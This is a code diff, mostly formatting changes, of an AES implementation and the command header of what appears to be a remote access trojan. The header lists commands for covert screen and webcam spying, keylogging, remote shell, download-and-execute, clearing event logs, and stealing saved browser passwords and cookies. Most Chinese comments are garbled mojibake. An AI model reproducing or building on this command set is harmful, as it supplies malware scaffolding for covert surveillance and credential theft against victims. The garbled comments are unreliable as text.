(*state)[1][2]; + (*state)[1][2] = (*state)[3][2]; + (*state)[3][2] = temp; - // Rotate third row 3 columns to right - temp = (*state)[0][3]; - (*state)[0][3] = (*state)[1][3]; - (*state)[1][3] = (*state)[2][3]; - (*state)[2][3] = (*state)[3][3]; - (*state)[3][3] = temp; + // Rotate third row 3 columns to right + temp = (*state)[0][3]; + (*state)[0][3] = (*state)[1][3]; + (*state)[1][3] = (*state)[2][3]; + (*state)[2][3] = (*state)[3][3]; + (*state)[3][3] = temp; } #endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) // Cipher is the main function that encrypts the PlainText. static void Cipher(state_t* state, const uint8_t* RoundKey) { - uint8_t round = 0; + uint8_t round = 0; - // Add the First round key to the state before starting the rounds. - AddRoundKey(0, state, RoundKey); + // Add the First round key to the state before starting the rounds. + AddRoundKey(0, state, RoundKey); - // There will be Nr rounds. - // The first Nr-1 rounds are identical. - // These Nr rounds are executed in the loop below. - // Last one without MixColumns() - for (round = 1; ; ++round) - { - SubBytes(state); - ShiftRows(state); - if (round == Nr) { - break; + // There will be Nr rounds. + // The first Nr-1 rounds are identical. + // These Nr rounds are executed in the loop below. + // Last one without MixColumns() + for (round = 1; ; ++round) { + SubBytes(state); + ShiftRows(state); + if (round == Nr) { + break; + } + MixColumns(state); + AddRoundKey(round, state, RoundKey); } - MixColumns(state); - AddRoundKey(round, state, RoundKey); - } - // Add round key to last round - AddRoundKey(Nr, state, RoundKey); + // Add round key to last round + AddRoundKey(Nr, state, RoundKey); } #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) static void InvCipher(state_t* state, const uint8_t* RoundKey) { - uint8_t round = 0; + uint8_t round = 0; - // Add the First round key to the state before starting the rounds. - AddRoundKey(Nr, state, RoundKey); + // Add the First round key to the state before starting the rounds. + AddRoundKey(Nr, state, RoundKey); - // There will be Nr rounds. - // The first Nr-1 rounds are identical. - // These Nr rounds are executed in the loop below. - // Last one without InvMixColumn() - for (round = (Nr - 1); ; --round) - { - InvShiftRows(state); - InvSubBytes(state); - AddRoundKey(round, state, RoundKey); - if (round == 0) { - break; + // There will be Nr rounds. + // The first Nr-1 rounds are identical. + // These Nr rounds are executed in the loop below. + // Last one without InvMixColumn() + for (round = (Nr - 1); ; --round) { + InvShiftRows(state); + InvSubBytes(state); + AddRoundKey(round, state, RoundKey); + if (round == 0) { + break; + } + InvMixColumns(state); } - InvMixColumns(state); - } } #endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) @@ -468,14 +466,14 @@ static void InvCipher(state_t* state, const uint8_t* RoundKey) void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf) { - // The next function call encrypts the PlainText with the Key using AES algorithm. - Cipher((state_t*)buf, ctx->RoundKey); + // The next function call encrypts the PlainText with the Key using AES algorithm. + Cipher((state_t*)buf, ctx->RoundKey); } void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf) { - // The next function call decrypts the PlainText with the Key using AES algorithm. - InvCipher((state_t*)buf, ctx->RoundKey); + // The next function call decrypts the PlainText with the Key using AES algorithm. + InvCipher((state_t*)buf, ctx->RoundKey); } @@ -490,40 +488,37 @@ void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf) static void XorWithIv(uint8_t* buf, const uint8_t* Iv) { - uint8_t i; - for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size - { - buf[i] ^= Iv[i]; - } + uint8_t i; + for (i = 0; i < AES_BLOCKLEN; ++i) { // The block in AES is always 128bit no matter the key size + buf[i] ^= Iv[i]; + } } void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, size_t length) { - size_t i; - uint8_t *Iv = ctx->Iv; - for (i = 0; i < length; i += AES_BLOCKLEN) - { - XorWithIv(buf, Iv); - Cipher((state_t*)buf, ctx->RoundKey); - Iv = buf; - buf += AES_BLOCKLEN; - } - /* store Iv in ctx for next call */ - memcpy(ctx->Iv, Iv, AES_BLOCKLEN); + size_t i; + uint8_t *Iv = ctx->Iv; + for (i = 0; i < length; i += AES_BLOCKLEN) { + XorWithIv(buf, Iv); + Cipher((state_t*)buf, ctx->RoundKey); + Iv = buf; + buf += AES_BLOCKLEN; + } + /* store Iv in ctx for next call */ + memcpy(ctx->Iv, Iv, AES_BLOCKLEN); } void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) { - size_t i; - uint8_t storeNextIv[AES_BLOCKLEN]; - for (i = 0; i < length; i += AES_BLOCKLEN) - { - memcpy(storeNextIv, buf, AES_BLOCKLEN); - InvCipher((state_t*)buf, ctx->RoundKey); - XorWithIv(buf, ctx->Iv); - memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN); - buf += AES_BLOCKLEN; - } + size_t i; + uint8_t storeNextIv[AES_BLOCKLEN]; + for (i = 0; i < length; i += AES_BLOCKLEN) { + memcpy(storeNextIv, buf, AES_BLOCKLEN); + InvCipher((state_t*)buf, ctx->RoundKey); + XorWithIv(buf, ctx->Iv); + memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN); + buf += AES_BLOCKLEN; + } } @@ -536,35 +531,31 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) /* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */ void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) { - uint8_t buffer[AES_BLOCKLEN]; - - size_t i; - int bi; - for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) - { - if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */ - { - - memcpy(buffer, ctx->Iv, AES_BLOCKLEN); - Cipher((state_t*)buffer,ctx->RoundKey); + uint8_t buffer[AES_BLOCKLEN]; - /* Increment Iv and handle overflow */ - for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) - { - /* inc will overflow */ - if (ctx->Iv[bi] == 255) - { - ctx->Iv[bi] = 0; - continue; - } - ctx->Iv[bi] += 1; - break; - } - bi = 0; + size_t i; + int bi; + for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) { + if (bi == AES_BLOCKLEN) { /* we need to regen xor compliment in buffer */ + + memcpy(buffer, ctx->Iv, AES_BLOCKLEN); + Cipher((state_t*)buffer,ctx->RoundKey); + + /* Increment Iv and handle overflow */ + for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) { + /* inc will overflow */ + if (ctx->Iv[bi] == 255) { + ctx->Iv[bi] = 0; + continue; + } + ctx->Iv[bi] += 1; + break; + } + bi = 0; + } + + buf[i] = (buf[i] ^ buffer[bi]); } - - buf[i] = (buf[i] ^ buffer[bi]); - } } #endif // #if defined(CTR) && (CTR == 1) diff --git a/common/aes.h b/common/aes.h index b29b668..1f0f56a 100644 --- a/common/aes.h +++ b/common/aes.h @@ -12,15 +12,15 @@ // The #ifndef-guard allows it to be configured before #include'ing or at compile time. #ifndef CBC - #define CBC 1 +#define CBC 1 #endif #ifndef ECB - #define ECB 1 +#define ECB 1 #endif #ifndef CTR - #define CTR 1 +#define CTR 1 #endif @@ -31,21 +31,20 @@ #define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only #if defined(AES256) && (AES256 == 1) - #define AES_KEYLEN 32 - #define AES_keyExpSize 240 +#define AES_KEYLEN 32 +#define AES_keyExpSize 240 #elif defined(AES192) && (AES192 == 1) - #define AES_KEYLEN 24 - #define AES_keyExpSize 208 +#define AES_KEYLEN 24 +#define AES_keyExpSize 208 #else - #define AES_KEYLEN 16 // Key length in bytes - #define AES_keyExpSize 176 +#define AES_KEYLEN 16 // Key length in bytes +#define AES_keyExpSize 176 #endif -struct AES_ctx -{ - uint8_t RoundKey[AES_keyExpSize]; +struct AES_ctx { + uint8_t RoundKey[AES_keyExpSize]; #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) - uint8_t Iv[AES_BLOCKLEN]; + uint8_t Iv[AES_BLOCKLEN]; #endif }; @@ -56,8 +55,8 @@ void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv); #endif #if defined(ECB) && (ECB == 1) -// buffer size is exactly AES_BLOCKLEN bytes; -// you need only AES_init_ctx as IV is not used in ECB +// buffer size is exactly AES_BLOCKLEN bytes; +// you need only AES_init_ctx as IV is not used in ECB // NB: ECB is considered insecure for most uses void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf); void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf); @@ -69,7 +68,7 @@ void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf); // buffer size MUST be mutile of AES_BLOCKLEN; // Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme // NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv() -// no IV should ever be reused with the same key +// no IV should ever be reused with the same key void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); @@ -78,11 +77,11 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); #if defined(CTR) && (CTR == 1) -// Same function for encrypting as for decrypting. +// Same function for encrypting as for decrypting. // IV is incremented for every block, and used after encryption as XOR-compliment for output // Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme // NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv() -// no IV should ever be reused with the same key +// no IV should ever be reused with the same key void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length); #endif // #if defined(CTR) && (CTR == 1) diff --git a/common/commands.h b/common/commands.h index 8fad67f..18260e6 100644 --- a/common/commands.h +++ b/common/commands.h @@ -6,7 +6,7 @@ #include #include #include -#include +#include #include #include @@ -22,8 +22,8 @@ #define strcat_s strcat #define sprintf_s sprintf #define strcpy_s strcpy -#define __stdcall -#define WINAPI +#define __stdcall +#define WINAPI #define TRUE 1 #define FALSE 0 #define skCrypt(p) @@ -46,7 +46,7 @@ typedef unsigned char BYTE; typedef BYTE* PBYTE, * LPBYTE; typedef void* LPVOID, * HANDLE; -#define GET_PROCESS(a1, a2) +#define GET_PROCESS(a1, a2) #define MVirtualFree(a1, a2, a3) delete[]a1 #define MVirtualAlloc(a1, a2, a3, a4) new BYTE[a2] #define CopyMemory memcpy @@ -79,22 +79,25 @@ typedef void* LPVOID, * HANDLE; #define GET_FILEPATH(dir,file) [](char*d,const char*f){char*p=d;while(*p)++p;while('\\'!=*p&&p!=d)--p;strcpy(p+1,f);return d;}(dir,file) #endif -inline int isValid_60s() { - static time_t tm = time(nullptr); - int span = int(time(nullptr) - tm); - return span <= 60; +inline int isValid_60s() +{ + static time_t tm = time(nullptr); + int span = int(time(nullptr) - tm); + return span <= 60; } -inline int isValid_30s() { - static time_t tm = time(nullptr); - int span = int(time(nullptr) - tm); - return span <= 30; +inline int isValid_30s() +{ + static time_t tm = time(nullptr); + int span = int(time(nullptr) - tm); + return span <= 30; } -inline int isValid_10s() { - static time_t tm = time(nullptr); - int span = int(time(nullptr) - tm); - return span <= 10; +inline int isValid_10s() +{ + static time_t tm = time(nullptr); + int span = int(time(nullptr) - tm); + return span <= 10; } // Է仯ʱӦøֵԱԱس @@ -104,221 +107,220 @@ inline int isValid_10s() { // ͻ״̬: 1-ض˳ 2-ض˳ enum State { - S_CLIENT_NORMAL = 0, - S_CLIENT_EXIT = 1, - S_SERVER_EXIT = 2, - S_CLIENT_UPDATE = 3, + S_CLIENT_NORMAL = 0, + S_CLIENT_EXIT = 1, + S_SERVER_EXIT = 2, + S_CLIENT_UPDATE = 3, }; // öб -enum -{ - // ļ䷽ʽ - TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ - TRANSFER_MODE_ADDITION, // ׷ - TRANSFER_MODE_ADDITION_ALL, // ȫ׷ - TRANSFER_MODE_OVERWRITE, // - TRANSFER_MODE_OVERWRITE_ALL, // ȫ - TRANSFER_MODE_JUMP, // - TRANSFER_MODE_JUMP_ALL, // ȫ - TRANSFER_MODE_CANCEL, // ȡ +enum { + // ļ䷽ʽ + TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ + TRANSFER_MODE_ADDITION, // ׷ + TRANSFER_MODE_ADDITION_ALL, // ȫ׷ + TRANSFER_MODE_OVERWRITE, // + TRANSFER_MODE_OVERWRITE_ALL, // ȫ + TRANSFER_MODE_JUMP, // + TRANSFER_MODE_JUMP_ALL, // ȫ + TRANSFER_MODE_CANCEL, // ȡ - // ƶ˷ - COMMAND_ACTIVED = 0x00, // ˿Լʼ - COMMAND_LIST_DRIVE, // гĿ¼ - COMMAND_LIST_FILES, // гĿ¼еļ - COMMAND_DOWN_FILES, // ļ - COMMAND_FILE_SIZE, // ϴʱļС - COMMAND_FILE_DATA, // ϴʱļ - COMMAND_EXCEPTION, // ䷢쳣Ҫ´ - COMMAND_CONTINUE, // - COMMAND_STOP, // ֹ - COMMAND_DELETE_FILE, // ɾļ - COMMAND_DELETE_DIRECTORY, // ɾĿ¼ - COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ - COMMAND_CREATE_FOLDER, // ļ - COMMAND_RENAME_FILE, // ļļ - COMMAND_OPEN_FILE_SHOW, // ʾļ - COMMAND_OPEN_FILE_HIDE, // شļ + // ƶ˷ + COMMAND_ACTIVED = 0x00, // ˿Լʼ + COMMAND_LIST_DRIVE, // гĿ¼ + COMMAND_LIST_FILES, // гĿ¼еļ + COMMAND_DOWN_FILES, // ļ + COMMAND_FILE_SIZE, // ϴʱļС + COMMAND_FILE_DATA, // ϴʱļ + COMMAND_EXCEPTION, // ䷢쳣Ҫ´ + COMMAND_CONTINUE, // + COMMAND_STOP, // ֹ + COMMAND_DELETE_FILE, // ɾļ + COMMAND_DELETE_DIRECTORY, // ɾĿ¼ + COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ + COMMAND_CREATE_FOLDER, // ļ + COMMAND_RENAME_FILE, // ļļ + COMMAND_OPEN_FILE_SHOW, // ʾļ + COMMAND_OPEN_FILE_HIDE, // شļ - COMMAND_SCREEN_SPY, // Ļ鿴 - COMMAND_SCREEN_RESET, // ıĻ - COMMAND_ALGORITHM_RESET, // ı㷨 - COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del - COMMAND_SCREEN_CONTROL, // Ļ - COMMAND_SCREEN_BLOCK_INPUT, // ˼ - COMMAND_SCREEN_BLANK, // ˺ - COMMAND_SCREEN_CAPTURE_LAYER, // ׽ - COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼ - COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼ + COMMAND_SCREEN_SPY, // Ļ鿴 + COMMAND_SCREEN_RESET, // ıĻ + COMMAND_ALGORITHM_RESET, // ı㷨 + COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del + COMMAND_SCREEN_CONTROL, // Ļ + COMMAND_SCREEN_BLOCK_INPUT, // ˼ + COMMAND_SCREEN_BLANK, // ˺ + COMMAND_SCREEN_CAPTURE_LAYER, // ׽ + COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼ + COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼ - COMMAND_WEBCAM, // ͷ - COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪ󾭹H263ѹ - COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ - COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ - COMMAND_NEXT, // һ(ƶѾ򿪶Ի) + COMMAND_WEBCAM, // ͷ + COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪ󾭹H263ѹ + COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ + COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ + COMMAND_NEXT, // һ(ƶѾ򿪶Ի) - COMMAND_KEYBOARD, // ̼¼ - COMMAND_KEYBOARD_OFFLINE, // ߼̼¼ - COMMAND_KEYBOARD_CLEAR, // ̼¼ + COMMAND_KEYBOARD, // ̼¼ + COMMAND_KEYBOARD_OFFLINE, // ߼̼¼ + COMMAND_KEYBOARD_CLEAR, // ̼¼ - COMMAND_AUDIO, // + COMMAND_AUDIO, // - COMMAND_SYSTEM, // ϵͳ̣.... - COMMAND_PSLIST, // б - COMMAND_WSLIST, // б - COMMAND_DIALUPASS, // - COMMAND_KILLPROCESS, // رս - COMMAND_SHELL, // cmdshell - COMMAND_SESSION, // Ựػע, жأ - COMMAND_REMOVE, // жغ - COMMAND_DOWN_EXEC, // - ִ - COMMAND_UPDATE_SERVER, // - ظ - COMMAND_CLEAN_EVENT, // - ϵͳ־ - COMMAND_OPEN_URL_HIDE, // - شҳ - COMMAND_OPEN_URL_SHOW, // - ʾҳ - COMMAND_RENAME_REMARK, // ע - COMMAND_REPLAY_HEARTBEAT, // ظ - COMMAND_SERVICES, // - COMMAND_REGEDIT, - COMMAND_TALK, // ʱϢ֤ - COMMAND_UPDATE = 53, // ͻ - COMMAND_SHARE = 59, // - COMMAND_PROXY = 60, // ӳ - TOKEN_SYSINFOLIST = 61, // - TOKEN_CHAT_START = 62, // Զ̸̽ - TOKEN_UNINSTALL = 63, // ж - TOKEN_PRIVATESCREEN = 64, // ˽Ļ + COMMAND_SYSTEM, // ϵͳ̣.... + COMMAND_PSLIST, // б + COMMAND_WSLIST, // б + COMMAND_DIALUPASS, // + COMMAND_KILLPROCESS, // رս + COMMAND_SHELL, // cmdshell + COMMAND_SESSION, // Ựػע, жأ + COMMAND_REMOVE, // жغ + COMMAND_DOWN_EXEC, // - ִ + COMMAND_UPDATE_SERVER, // - ظ + COMMAND_CLEAN_EVENT, // - ϵͳ־ + COMMAND_OPEN_URL_HIDE, // - شҳ + COMMAND_OPEN_URL_SHOW, // - ʾҳ + COMMAND_RENAME_REMARK, // ע + COMMAND_REPLAY_HEARTBEAT, // ظ + COMMAND_SERVICES, // + COMMAND_REGEDIT, + COMMAND_TALK, // ʱϢ֤ + COMMAND_UPDATE = 53, // ͻ + COMMAND_SHARE = 59, // + COMMAND_PROXY = 60, // ӳ + TOKEN_SYSINFOLIST = 61, // + TOKEN_CHAT_START = 62, // Զ̸̽ + TOKEN_UNINSTALL = 63, // ж + TOKEN_PRIVATESCREEN = 64, // ˽Ļ - // ˷ıʶ - TOKEN_AUTH = 100, // Ҫ֤ - TOKEN_HEARTBEAT, // - TOKEN_LOGIN, // ߰ - TOKEN_DRIVE_LIST, // б - TOKEN_FILE_LIST, // ļб - TOKEN_FILE_SIZE, // ļСļʱ - TOKEN_FILE_DATA, // ļ - TOKEN_TRANSFER_FINISH, // - TOKEN_DELETE_FINISH, // ɾ - TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ - TOKEN_GET_FILEDATA, // Զ̵õļ - TOKEN_CREATEFOLDER_FINISH, // ļ - TOKEN_DATA_CONTINUE, // - TOKEN_RENAME_FINISH, // - TOKEN_EXCEPTION, // 쳣 + // ˷ıʶ + TOKEN_AUTH = 100, // Ҫ֤ + TOKEN_HEARTBEAT, // + TOKEN_LOGIN, // ߰ + TOKEN_DRIVE_LIST, // б + TOKEN_FILE_LIST, // ļб + TOKEN_FILE_SIZE, // ļСļʱ + TOKEN_FILE_DATA, // ļ + TOKEN_TRANSFER_FINISH, // + TOKEN_DELETE_FINISH, // ɾ + TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ + TOKEN_GET_FILEDATA, // Զ̵õļ + TOKEN_CREATEFOLDER_FINISH, // ļ + TOKEN_DATA_CONTINUE, // + TOKEN_RENAME_FINISH, // + TOKEN_EXCEPTION, // 쳣 - TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO - TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ - TOKEN_NEXTSCREEN, // Ļ鿴һͼ - TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ + TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO + TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ + TOKEN_NEXTSCREEN, // Ļ鿴һͼ + TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ - TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER - TOKEN_WEBCAM_DIB, // ͷͼ + TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER + TOKEN_WEBCAM_DIB, // ͷͼ - TOKEN_AUDIO_START, // ʼ - TOKEN_AUDIO_DATA, // + TOKEN_AUDIO_START, // ʼ + TOKEN_AUDIO_DATA, // - TOKEN_KEYBOARD_START, // ̼¼ʼ - TOKEN_KEYBOARD_DATA, // ̼¼ + TOKEN_KEYBOARD_START, // ̼¼ʼ + TOKEN_KEYBOARD_DATA, // ̼¼ - TOKEN_PSLIST, // б - TOKEN_WSLIST, // б - TOKEN_DIALUPASS, // - TOKEN_SHELL_START, // Զն˿ʼ - TOKEN_SERVERLIST, // б - COMMAND_SERVICELIST, // ˢ·б - COMMAND_SERVICECONFIG, // ˷ıʶ - TOKEN_TALK_START, // ʱϢʼ - TOKEN_TALKCMPLT, // ʱϢط - TOKEN_KEYFRAME=134, // ؼ֡ - TOKEN_BITMAPINFO_HIDE, // Ļ - TOKEN_SCREEN_SIZE, // ĻС - TOKEN_DRIVE_LIST_PLUGIN = 150, // ļ() - TOKEN_DRAWING_BOARD=151, // + TOKEN_PSLIST, // б + TOKEN_WSLIST, // б + TOKEN_DIALUPASS, // + TOKEN_SHELL_START, // Զն˿ʼ + TOKEN_SERVERLIST, // б + COMMAND_SERVICELIST, // ˢ·б + COMMAND_SERVICECONFIG, // ˷ıʶ + TOKEN_TALK_START, // ʱϢʼ + TOKEN_TALKCMPLT, // ʱϢط + TOKEN_KEYFRAME=134, // ؼ֡ + TOKEN_BITMAPINFO_HIDE, // Ļ + TOKEN_SCREEN_SIZE, // ĻС + TOKEN_DRIVE_LIST_PLUGIN = 150, // ļ() + TOKEN_DRAWING_BOARD=151, // - TOKEN_DECRYPT = 199, - TOKEN_REGEDIT = 200, // ע - COMMAND_REG_FIND, // ע ʶ - TOKEN_REG_KEY, - TOKEN_REG_PATH, - COMMAND_BYE, // ض˳ - SERVER_EXIT=205, // ض˳ + TOKEN_DECRYPT = 199, + TOKEN_REGEDIT = 200, // ע + COMMAND_REG_FIND, // ע ʶ + TOKEN_REG_KEY, + TOKEN_REG_PATH, + COMMAND_BYE, // ض˳ + SERVER_EXIT=205, // ض˳ - COMMAND_CC, // CC - COMMAND_ASSIGN_MASTER, // - COMMAND_FILE_DETECT, // ļ̽ - COMMAND_FILE_REPORT, // ļϱ + COMMAND_CC, // CC + COMMAND_ASSIGN_MASTER, // + COMMAND_FILE_DETECT, // ļ̽ + COMMAND_FILE_REPORT, // ļϱ - SOCKET_DLLLOADER=210, // ͻDLL - CMD_DLLDATA, // ӦDLL - CMD_RUNASADMIN=214, // ADMIN - CMD_MASTERSETTING = 215, // - CMD_HEARTBEAT_ACK = 216, // Ӧ - CMD_PADDING =217, - CMD_AUTHORIZATION = 222, // Ȩ - CMD_SERVER_ADDR = 229, // صַ - TOKEN_ERROR = 230, // ʾ - TOKEN_SHELL_DATA = 231, // ն˽ - CMD_EXECUTE_DLL = 240, // ִд + SOCKET_DLLLOADER=210, // ͻDLL + CMD_DLLDATA, // ӦDLL + CMD_RUNASADMIN=214, // ADMIN + CMD_MASTERSETTING = 215, // + CMD_HEARTBEAT_ACK = 216, // Ӧ + CMD_PADDING =217, + CMD_AUTHORIZATION = 222, // Ȩ + CMD_SERVER_ADDR = 229, // صַ + TOKEN_ERROR = 230, // ʾ + TOKEN_SHELL_DATA = 231, // ն˽ + CMD_EXECUTE_DLL = 240, // ִд }; enum ProxyManager { - TOKEN_PROXY_CONNECT_RESULT, - TOKEN_PROXY_BIND_RESULT, - TOKEN_PROXY_CLOSE, - TOKEN_PROXY_DATA, - COMMAND_PROXY_CLOSE, - COMMAND_PROXY_CONNECT, - COMMAND_PROXY_DATA, - COMMAND_PROXY_CONNECT_HOSTNAME, + TOKEN_PROXY_CONNECT_RESULT, + TOKEN_PROXY_BIND_RESULT, + TOKEN_PROXY_CLOSE, + TOKEN_PROXY_DATA, + COMMAND_PROXY_CLOSE, + COMMAND_PROXY_CONNECT, + COMMAND_PROXY_DATA, + COMMAND_PROXY_CONNECT_HOSTNAME, }; // ̨Ļ enum HideScreenSpy { - COMMAND_FLUSH_HIDE, // ˢĻ - COMMAND_SCREEN_SETSCREEN_HIDE, // ÷ֱ - COMMAND_HIDE_USER, // Զ - COMMAND_HIDE_CLEAR, // ̨ - COMMAND_COMMAND_SCREENUALITY60_HIDE, // - COMMAND_COMMAND_SCREENUALITY85_HIDE, // - COMMAND_COMMAND_SCREENUALITY100_HIDE, // + COMMAND_FLUSH_HIDE, // ˢĻ + COMMAND_SCREEN_SETSCREEN_HIDE, // ÷ֱ + COMMAND_HIDE_USER, // Զ + COMMAND_HIDE_CLEAR, // ̨ + COMMAND_COMMAND_SCREENUALITY60_HIDE, // + COMMAND_COMMAND_SCREENUALITY85_HIDE, // + COMMAND_COMMAND_SCREENUALITY100_HIDE, // - IDM_OPEN_Explorer = 33, - IDM_OPEN_run, - IDM_OPEN_Powershell, + IDM_OPEN_Explorer = 33, + IDM_OPEN_run, + IDM_OPEN_Powershell, - IDM_OPEN_360JS, - IDM_OPEN_360AQ, - IDM_OPEN_360AQ2, - IDM_OPEN_Chrome, - IDM_OPEN_Edge, - IDM_OPEN_Brave, - IDM_OPEN_Firefox, - IDM_OPEN_Iexplore, - IDM_OPEN_ADD_1, - IDM_OPEN_ADD_2, - IDM_OPEN_ADD_3, - IDM_OPEN_ADD_4, - IDM_OPEN_zdy, - IDM_OPEN_zdy2, - IDM_OPEN_close, + IDM_OPEN_360JS, + IDM_OPEN_360AQ, + IDM_OPEN_360AQ2, + IDM_OPEN_Chrome, + IDM_OPEN_Edge, + IDM_OPEN_Brave, + IDM_OPEN_Firefox, + IDM_OPEN_Iexplore, + IDM_OPEN_ADD_1, + IDM_OPEN_ADD_2, + IDM_OPEN_ADD_3, + IDM_OPEN_ADD_4, + IDM_OPEN_zdy, + IDM_OPEN_zdy2, + IDM_OPEN_close, }; struct ZdyCmd { - char oldpath[_MAX_PATH]; - char newpath[_MAX_PATH]; - char cmdline[_MAX_PATH]; + char oldpath[_MAX_PATH]; + char newpath[_MAX_PATH]; + char cmdline[_MAX_PATH]; }; // enum DecryptCommand { - COMMAND_LLQ_GetChromePassWord, - COMMAND_LLQ_GetEdgePassWord, - COMMAND_LLQ_GetSpeed360PassWord, - COMMAND_LLQ_Get360sePassWord, - COMMAND_LLQ_GetQQBroPassWord, + COMMAND_LLQ_GetChromePassWord, + COMMAND_LLQ_GetEdgePassWord, + COMMAND_LLQ_GetSpeed360PassWord, + COMMAND_LLQ_Get360sePassWord, + COMMAND_LLQ_GetQQBroPassWord, - COMMAND_LLQ_GetChromeCookies, + COMMAND_LLQ_GetChromeCookies, }; typedef DecryptCommand BroType; @@ -329,419 +331,433 @@ typedef DecryptCommand BroType; // MachineManager ϵͳ, ǰöֵ˳򲻵޸ enum MachineManager { - COMMAND_MACHINE_PROCESS, - COMMAND_MACHINE_WINDOWS, - COMMAND_MACHINE_NETSTATE, - COMMAND_MACHINE_SOFTWARE, - COMMAND_MACHINE_HTML, - COMMAND_MACHINE_FAVORITES, - COMMAND_MACHINE_WIN32SERVICE, - COMMAND_MACHINE_DRIVERSERVICE, - COMMAND_MACHINE_TASK, - COMMAND_MACHINE_HOSTS, // + COMMAND_MACHINE_PROCESS, + COMMAND_MACHINE_WINDOWS, + COMMAND_MACHINE_NETSTATE, + COMMAND_MACHINE_SOFTWARE, + COMMAND_MACHINE_HTML, + COMMAND_MACHINE_FAVORITES, + COMMAND_MACHINE_WIN32SERVICE, + COMMAND_MACHINE_DRIVERSERVICE, + COMMAND_MACHINE_TASK, + COMMAND_MACHINE_HOSTS, // - COMMAND_APPUNINSTALL,//ж - COMMAND_WINDOW_OPERATE,//ڿ - COMMAND_WINDOW_CLOSE,//ر - COMMAND_PROCESS_KILL,// - COMMAND_PROCESS_KILLDEL,//----ɾ - COMMAND_PROCESS_DEL,//ǿɾ Ҫ - COMMAND_PROCESS_FREEZING,// - COMMAND_PROCESS_THAW,//ⶳ - COMMAND_HOSTS_SET,//hosts + COMMAND_APPUNINSTALL,//ж + COMMAND_WINDOW_OPERATE,//ڿ + COMMAND_WINDOW_CLOSE,//ر + COMMAND_PROCESS_KILL,// + COMMAND_PROCESS_KILLDEL,//----ɾ + COMMAND_PROCESS_DEL,//ǿɾ Ҫ + COMMAND_PROCESS_FREEZING,// + COMMAND_PROCESS_THAW,//ⶳ + COMMAND_HOSTS_SET,//hosts - COMMAND_SERVICE_LIST_WIN32, - COMMAND_SERVICE_LIST_DRIVER, - COMMAND_DELETESERVERICE, - COMMAND_STARTSERVERICE, - COMMAND_STOPSERVERICE, - COMMAND_PAUSESERVERICE, - COMMAND_CONTINUESERVERICE, + COMMAND_SERVICE_LIST_WIN32, + COMMAND_SERVICE_LIST_DRIVER, + COMMAND_DELETESERVERICE, + COMMAND_STARTSERVERICE, + COMMAND_STOPSERVERICE, + COMMAND_PAUSESERVERICE, + COMMAND_CONTINUESERVERICE, - COMMAND_TASKCREAT, - COMMAND_TASKDEL, - COMMAND_TASKSTOP, - COMMAND_TASKSTART, + COMMAND_TASKCREAT, + COMMAND_TASKDEL, + COMMAND_TASKSTOP, + COMMAND_TASKSTART, - 